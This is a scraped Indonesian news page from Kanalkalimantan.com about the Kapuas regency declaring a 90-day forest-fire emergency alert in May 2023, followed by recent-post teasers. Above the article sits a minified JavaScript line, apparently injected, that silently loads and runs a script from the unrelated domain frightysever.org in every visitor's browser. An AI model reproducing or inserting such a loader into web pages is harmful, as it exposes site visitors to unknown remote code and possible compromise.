(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Kapuas

BPBD Kapuas Tetapkan Status Siaga Darurat Bencana Karhutla


KANALKALIMANTAN.COM, KUALA KAPUAS – Pemerintah Kabupaten (Pemkab) Kapuas menetapkan status siaga darurat bencana kebakaran hutan dan lahan (karhutla) selama 90 hari ke depan.

“Penetapan mulai dari tanggal 17 Mei 2023 sampai dengan 14 Agustus 2023 atau 90 hari berdasarkan Peraturan Menteri KLHK Nomor P.9/MENLHK/SETJEN/KUM/.1/3/2018,” kata Kepala Pelaksana (Kalak) BPBD Kabupaten Kapuas Panahatan Sinaga, Jumat (19/5/2023).

Menurut Kalak BPBD Kapuas, pihaknya telah melaksanakan rapat dilakukan menyikapi kondisi cuaca saat ini di Kabupaten Kapuas yang sudah mulai mengarah ke fenomena el nino yang mengakibatkan berkurangnya curah hujan, khususnya di daerah Kapuas.

“Menyikapi hal itu, maka Pemkab Kapuas melalui BPBD menyepakati beberapa hal untuk pencegahan Karhutla tersebut,” kata Panahatan Sinaga.

Baca juga: Hasanuddin Murad Dikebumikan di Taman Bahagia, Di Rumah Sakit Sejak Bulan Puasa

Langkah selanjutnya, pihaknya akan melaksanakan rapat koordinasi pencegahan karhutla yang melibatkan lintas sektor dan Organisasi Perangkat Daerah (OPD) terkait, apel gelar pasukan dan peralatan kesiapan menghadapi karhutla.

“Juga membuat surat edaran ke camat, lurah, kepala desa dan Perusahaan Besar Swasta (PBS), terkait pencegahan karhutla di Kabupaten Kapuas,” katanya.

Kemudian, lanjutnya, melaksanakan sosialisasi pencegahan karhutla dan pemasangan spanduk di titik-titik rawan terjadi Karhutla.

“Serta mengaktifkan pos lapangan di kecamatan yang rawan terjadi Karhutla di Kabupaten Kapuas,” sebutnya.

Masyarakat di Kabupaten Kapuas diingatkan untuk tidak menggarap atau membersihkan lahan dengan cara membakar secara sembarangan.

“Jangan membuang puntung rokok secara sembarangan, karena dapat menimbulkan kebakaran. Sebab dalam cuaca saat ini, daun yang kering sangat cepat dan mudah terbakar,” ingat Panahatan. (Kanalkalimantan.com/ags)

Reporter : ags
Editor : kk


Risa

Recent Posts

Masjid Agung Al Akbar Balangan Sedia 200 Porsi Berbuka Puasa

KANALKALIMANTAN.COM, PARINGIN - Selama bulan Ramadan 1447 Hijriah, pengelola Masjid Agung Al Akbar Balangan menyediakan… Read More

2 jam ago

‎Pemkab HSU Berikan Bonus Rp13,6 Miliar untuk Atlet‎ dan Pelatih

KANALKALIMANTAN.COM, AMUNTAI - ‎‎Senyum kegembiraan terpancar dari para atlet, salah satunya atlet renang, Putri yang… Read More

3 jam ago

Pemkab Kapuas Tetapkan Tiga Lokasi Pasar Ramadan, Ini Lokasinya

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas menetapkan tiga lokasi pelaksanaan Pasar Ramadan 1447 Hijriah… Read More

15 jam ago

Bagian Umum Pengadaan Dua Kamera Mirrorless, Wali Kota Banjarmasin Tak Tahu

KANALKALIMANTAN.COM, BANJARMASIN – Pengadaan kamera mirrorless dua unit seharga Rp132.690.000 oleh Pemerintah Kota (Pemko) Banjarmasin… Read More

15 jam ago

Mahasiswa Banjarmasin Suarakan Keresahan Masyarakat di Balai Kota

Minta Pemko Banjarmasin Aktifkan Kembali 64 Ribu BPJS Warga Read More

18 jam ago

Kasus Pencabutan SHM Transmigran Sepihak di Kotabaru, Kementrans Kirim Tim Investigasi

KANALKALIMANTAN.COM, JAKARTA - Kementerian Transmigrasi (Kementrans) turun tangan langsung menangani kasus pencabutan Sertipikat Hak Milik… Read More

1 hari ago

This website uses cookies.